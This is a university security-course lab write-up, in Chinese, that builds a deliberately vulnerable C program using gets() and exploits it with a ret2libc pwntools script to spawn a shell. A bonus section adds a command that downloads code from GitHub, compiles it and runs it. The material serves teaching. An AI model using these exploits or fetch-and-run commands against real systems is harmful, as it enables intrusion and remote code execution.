---
# System prepended metadata

title: 電腦攻擊與防禦 Project - ret2libc
tags: [在職專班, 中央]

---

# 電腦攻擊與防禦 Project - ret2libc
老師：許富皓
tags: `The Attack and Defense of Computers`

# 小組名單 - 第1組
113552028 戴嘉佑
113552004 盧薏婷
113552018 陳律中

# Description
* Write a program with a return-into-libc vulnerability.
* Launch a local return-into-libc attack against the above program to create a shell program.

![image](https://hackmd.io/_uploads/Hy3DQTRRJg.png)
https://staff.csie.ncu.edu.tw/hsufh/COURSES/SPRING2025/NCU_PT_security_project.html

# return-into-libc attack introduction
或稱 return-to-libc (ret2libc)，它是一種利用緩衝區溢位(buffer overflow)漏洞來將其堆疊(stack)中的返回位址(return address)被替換為另一條指令的位址，並且堆疊的一部分被覆蓋以提供其參數。這將允許攻擊者呼叫現有函式而無需注入惡意程式碼到程式中，並調用 C 標準函式庫（libc）內的函數來執行惡意行為（例如啟動 shell）。

# Environment
* 虛擬機：VirtualBox-7.0.12-159484-Win
* 作業系統：Ubuntu-22.04.3-desktop-amd64

# Preparation
執行下列指令，安裝一些必要的套件及設定環境參數
* 安裝 pip
`$ apt install python3-pip`
pip：Python 的套件管理工具，這邊用於之後 pwn 的安裝。

* 安裝 pwn
`$ pip install pwn`
pwn：全名是 pwntools，是一個專為 CTF（Capture The Flag）框架與漏洞利用（exploit）開發而設計的 Python 函式庫。

* 安裝 gcc
`$ sudo apt install gcc gcc-multilib`
gcc：GNU Compiler Collection 的縮寫，是 Linux / UNIX 系統中最常用的 C/C++ 編譯器，可將程式碼轉換成可以執行的二進位檔。

* 安裝 gdb
`$ sudo apt install gdb`
gdb：GNU Debugger 的縮寫，是 Linux 上最常用的除錯工具。

* 安裝 gdb-peda
`$ sudo apt install git`
`$ git clone https://github.com/scwuaptx/peda.git ~/peda`
`$ echo "source ~/peda/peda.py" >> ~/.gdbinit`
`$ cp ~/peda/.inputrc ~/`
gdb-peda：gdb 的擴充，是一個基於 Python 撰寫的 GDB 外掛腳本，為 GDB 加上更多針對「漏洞利用」設計的功能，它能提供更好的記憶體檢視、堆疊資訊、暫存器顯示、自動化指令等。

* 關閉 ASLR(Address Space Layout Randomization)
`$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`
`$ cat /proc/sys/kernel/randomize_va_space`
ASLR 會讓每次程式執行的位址都不同。


# Steps
1. 撰寫一個可造成 buffer overflow 的 C 檔 (ret2lib.c)
`$ nano ret2lib.c`
    ```
    #include <stdio.h>
    #include <string.h>

    void overflow() {
        char buffer[4];
        printf("Enter your input: ");
        gets(buffer); 
    }

    int main() {
        overflow();
        printf("Function returned normally.\n");
        return 0;
    }
    ```
2. 用 gcc 編譯 ret2lib.c 之後會產生一個名叫 ret2lib 的可執行檔
`$ gcc -m32 -fno-stack-protector -z execstack -no-pie -g -o ret2lib ret2lib.c`
-m32：使用 32 位元模式。
-fno-stack-protector：關掉堆疊保護(stack canary)。
-z execstack：允許執行堆疊(stack)區域。
-no-pie：不要產生 PIE 格式的可執行檔。
-o 檔名：指定輸出檔的名稱。

3. 進到 GDB
`$ gdb ./ret2lib`
![image](https://hackmd.io/_uploads/Hyy5SNLexg.png)

4. 在 GDB 內執行程式
`$ r`
![image](https://hackmd.io/_uploads/Hk_H84Ielx.png)
input 為 `AAAAAAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNOPQRST`，前方為24個A，會輸出下方結果，可以看到從 F 開始會覆蓋 EIP，因此，我們可以知道 EIP 之前有 28 個位元
![image](https://hackmd.io/_uploads/SJ_JDELlgl.png)
或是輸入 `ABCDEFGHIJKLMNOPQRSTUVWXYZ`

    |1|2|3|4|5|6|7|8|9|10|11|12|13|
    |-|-|-|-|-|-|-|-|-|-|-|-|-|
    |A|B|C|D|E|F|G|H|I|J|K|L|M|
    |14|15|16|17|18|19|20|21|22|23|24|25|26|
    |N|O|P|Q|R|S|T|U|V|W|X|Y|Z|

5. 找到 system 的地址
`$ p system`
![image](https://hackmd.io/_uploads/BynhDV8elg.png)

6. 找到 exit 的地址
`$ p exit`
![image](https://hackmd.io/_uploads/BkK0DVIlel.png)

7. 找到 bash(/bin/sh) 的地址
`$ find "/bin/sh"`
![image](https://hackmd.io/_uploads/S1ElOVIlxe.png)

8. 退出 GDB
`$ q`


9. 撰寫一個 Python script (exploit.py) 來產生 Payload，將前方得到的位址帶入
`$ nano exploit.py` 
    ```
    from pwn import *

    system = 0xf7dc4cd0
    exit   = 0xf7db71f0
    bash   = 0xf7f360d5

    # Create payload
    buffer = b"A" * 28
    payload = buffer
    payload += p32(system)
    payload += p32(exit)
    payload += p32(bash)

    # Payload
    p = process('./ret2lib')
    p.sendline(payload)
    p.interactive()
    ```

10. 執行程式，確認是否有成功進到 shell
`$ python3 exploit.py`
![image](https://hackmd.io/_uploads/H1KmBELlgg.png)

# Bonus
* Instead of creating a shell, if your shell code injected through a stack smashing attack can automatically connect to an external host, download an executable file from the host, and execute the file on your local host.

1. 新增一個 C 檔 (ret2lib2.c) 裡面加上要執行的指令，該指令會從 Github 將可執行檔下載下來並執行，該執行檔會印出一個 `Hello World!` 的字串
`$ nano ret2lib2.c`
cmd : `wget https://raw.githubusercontent.com/joechen03/Practice/refs/heads/main/hello && chmod +x hello && ./hello`
    ```
    #include <stdio.h>
    #include <string.h>

    char *cmd = "wget https://raw.githubusercontent.com/joechen03/Practice/refs/heads/main/hello_world.c -O hello.c && gcc hello.c -o hello && ./hello";

    void overflow() {
        char buffer[4];
        printf("Enter your input: ");
        gets(buffer); 
    }

    int main() {
        overflow();
        printf("Function returned normally.\n");
        return 0;
    }
    ```

2. 用 gcc 編譯 ret2lib2.c 之後會產生一個名叫 ret2lib2 的可執行檔
`$ gcc -m32 -fno-stack-protector -z execstack -no-pie -g -o ret2lib2 ret2lib2.c`
![image](https://hackmd.io/_uploads/Hk9AcsDeel.png)

3. 進到 GDB
`$ gdb ./ret2lib2`
![image](https://hackmd.io/_uploads/HkWD2iDxgg.png)

4. 找到新增指令的位址
`$ info address cmd`
![image](https://hackmd.io/_uploads/B1lOhoDgge.png)

5. 找到該字串的實體位址
`$ x/s *0x804c020`
![image](https://hackmd.io/_uploads/rJsC3iPexe.png)

6. 退出 GDB
`$ q

7. 撰寫一個 Python script (exploit2.py) 來產生 Payload，將前方得到的位址帶入
`$ nano exploit2.py` 
    ```
    from pwn import *

    system = 0xf7dc4cd0
    exit   = 0xf7db71f0
    cmd    = 0x804a008

    # Create payload
    buffer = b"A" * 28
    payload = buffer
    payload += p32(system)
    payload += p32(exit)
    payload += p32(cmd)

    # Payload
    p = process('./ret2lib2')
    p.sendline(payload)
    p.interactive()
    ```

8. 執行程式，確認指令是否有成功執行
`$ python3 exploit2.py` 
![image](https://hackmd.io/_uploads/SJPSCjwxgg.png)

# Troubleshooting
1. /usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: No such file or directory
![image](https://hackmd.io/_uploads/Byd-O6RRJx.png)
Solution：`$ sudo apt-get install gcc-multilib`
2. Waiting for cache lock: Could not get lock /var/lib/dpkg/lock-frontend. It is heWaiting for cache lock: Could not get lock /var/lib/dpkg/lock-frontend. It is held by process 5835 (unattended-upgr)
![image](https://hackmd.io/_uploads/SkG_xuPllg.png)
Solution：`$ sudo apt update`
 

# Reference
1. https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc
2. https://www.youtube.com/watch?v=NCLUm8geskU&pp=ygUUcmV0dXJuIHRvIGxpYmMgc2hlbGw%3D
3. https://hackmd.io/@H7j-QCIZRMOGMIVIYU8-oQ/Sy_dlOX0o
4. https://zh.wikipedia.org/zh-tw/Return-to-libc%E6%94%BB%E5%87%BB
5. https://ithelp.ithome.com.tw/articles/10227380
6. https://seedsecuritylabs.org/Labs_20.04/Files/Return_to_Libc/Return_to_Libc.pdf
7. https://www.youtube.com/watch?v=PwLuoGzU9Bg&ab_channel=Jack
8. https://medium.com/@b3rm1nG/%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E4%BD%8D%E6%94%BB%E6%93%8A%E4%B9%8B%E4%B8%80-buffer-overflow-83516aa80240
9. https://www.youtube.com/watch?v=dc4MZdI7SCw&t=200s&ab_channel=SathvikTechtuber


# Additional
vulnerability：漏洞。在資訊系統中，指的是可能被攻擊者利用的弱點，使系統程式的執行過程出現非預期行為。
exploit：漏洞利用。是電腦安全術語，指的是利用軟體中的漏洞得到電腦控制權的行為，通常用於惡意目的。

## GDB
### Start and connection
| 功能 | 語法 |
|------|------|
| 啟動 GDB 並載入可執行檔 | `gdb ./your_program` |
| 連接遠端 target（例如遠端除錯） | `target remote IP:PORT` |
| 載入 core dump | `gdb ./your_program core_file` |

### Flow Control
| 功能 | 語法 |
|------|------|
| 執行程式 | `run` 或 `r` |
| 重新執行程式 | `run` |
| 結束程式 | `kill` |
| 結束 GDB | `quit` 或 `q` |
| 中斷執行 | `Ctrl + C` |

### Breakpoints
| 功能 | 語法 |
|------|------|
| 在某行下斷點 | `break file.c:line` 或 `b file.c:line` |
| 在某函式下斷點 | `break function_name` |
| 查看所有斷點 | `info breakpoints` 或 `i b` |
| 刪除某個斷點 | `delete break_num` |
| 刪除所有斷點 | `delete` |
| 啟用/停用某斷點 | `enable n` / `disable n` |

### Single-stepping
| 功能 | 語法 |
|------|------|
| 單步執行（進入函式） | `step` 或 `s` |
| 單步執行（跳過函式） | `next` 或 `n` |
| 執行到函式返回 | `finish` |
| 執行到某行 | `until line_number` |

### View variable and memory
| 功能 | 語法 |
|------|------|
| 列出變數值 | `print var` 或 `p var` |
| 顯示變數型態與值 | `ptype var` |
| 設定變數值 | `set var = value` |
| 查看記憶體內容 | `x/Nfu address`<br>例如：`x/4xw 0x12345678` |
| 追蹤變數值變化 | `watch var` |
| 列出 watchpoints | `info watchpoints` |

### Stack tracking
| 功能 | 語法 |
|------|------|
| 顯示呼叫堆疊 | `backtrace` 或 `bt` |
| 顯示完整堆疊 | `bt full` |
| 切換到特定堆疊幀 | `frame n` |
| 顯示目前堆疊幀 | `info frame` |

### Condition
| 功能 | 語法 |
|------|------|
| 在特定條件下中斷 | `break function if condition` |
| 記錄所有指令 | `set logging on` |
| 顯示當前位置程式碼 | `list` 或 `l` |
| 列出函式內容 | `list function_name` |

* 確認檔案狀態
`$ checksec --file=<file_name>`
![image](https://hackmd.io/_uploads/SkMV4rUxxx.png)

* 如何驗證 Shell address 是否正確?
    1. 進到 GDB
    `$ gdb ./ret2lib`
    2. 執行程式
    `$ r`
    ![image](https://hackmd.io/_uploads/Hk_H84Ielx.png)
    3. 透過 gdb-peda 內建的指令`$ vmmap`，可以查看⽬前程式的記憶體分佈，以及 rwx 權限設定，因此，我們可以得到 libc 的起始位址
    ![image](https://hackmd.io/_uploads/SJEf8H8lel.png)
    4. 退出 GDB，輸入下方指令，得到 /bin/sh 在 libc 中的 offset
    `$ strings -atx /usr/lib32/libc.so.6 | grep /bin/sh`
    ![image](https://hackmd.io/_uploads/HJHPwrUeex.png)
    6. 重新進到 GDB，設 breakpoint `$ b main` 並重新執行程式 `$ run`
    ![image](https://hackmd.io/_uploads/SJcVuBLlle.png)
    7. base_address + offset 可得到 /bin/sh 的位址，並印出印出記憶體資料
    `$ pi hex(0xf7d7d000+0x1b90d5)`
    ![image](https://hackmd.io/_uploads/rk4btSLlgg.png)
